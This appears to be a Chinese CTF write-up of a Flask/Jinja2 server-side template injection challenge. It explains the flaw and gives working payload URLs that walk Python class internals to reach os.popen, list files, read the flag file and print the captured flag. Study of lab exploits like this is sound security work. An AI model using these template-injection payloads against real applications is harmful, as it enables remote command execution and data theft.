zoukankan      html  css  js  c++  java
  • XCTF-WEB-高手进阶区-Web_python_template_injection-笔记

      Web_python_template_injection

      o(╥﹏╥)o从这里开始题目就变得有点诡谲了

      网上搜索相关教程的确是一知半解,大概参考了如下和最后的WP:

      http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti

      https://xz.aliyun.com/t/3679#toc-8 (这篇讲的特别好)

      https://blog.csdn.net/sxingming/article/details/52071514

      https://www.cnblogs.com/tr1ple/p/9415641.html

      https://www.freebuf.com/column/187845.html

      简单来说还就是代码不规范导致的,渲染函数render_template_string,在使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析

      首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思 考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容,所所以选择 `os.popen` 

      知道了要用这一句,那么我要怎么找到这一句呢?

      __class__ : 返回对象所属的类

      __mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。

      __base__ : 返回该类所继承的基类
      __base__和__mro__都是用来寻找基类的
      __subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
      __init__ : 类的初始化方法
      __globals__ : 对包含函数全局变量的字典的引用

      

      首先,找到当前变量所在的类:

      http://159.138.137.79:56645/{{''.__class__}}

      得到类:<type 'str'>

      接下来查看他的基类:

      http://159.138.137.79:56645/{{''.__class__.__mro__}}

      得到基类:<type 'str'>, <type 'basestring'>, <type 'object'>

      然后,通过基类来找其中任意一个基类的引用列表

      http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}}   ps:mro里面不能不填,测试mro2和mro-1均能弹出来列表,其他的不行

      找到Site_Printer() 位于第72位:所以:__subclasses__()[71]

      直接使用listdir函数列出当前的文件,并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示

      http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}

      http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}} 

      返回:

      URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found

      得到名字以后使用文件名.read()的方式读取:

      http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

      http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}} 

      获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

      得到flag

      

      

  • 相关阅读:
    微软MSBI商业智能视频
    华为HG8245 电信 光猫破解获取超级密码
    Html5与CSS3权威指南 百度云下载
    GUI常用对象介绍3
    GUI常用对象介绍2
    GUI常用对象的属性
    AtCoder Beginner Contest 082 B
    AtCoder Beginner Contest 082 A
    回文字符串
    进制转换(大数)
  • 原文地址:https://www.cnblogs.com/SonnyYeung/p/12702179.html
Copyright © 2011-2022 走看看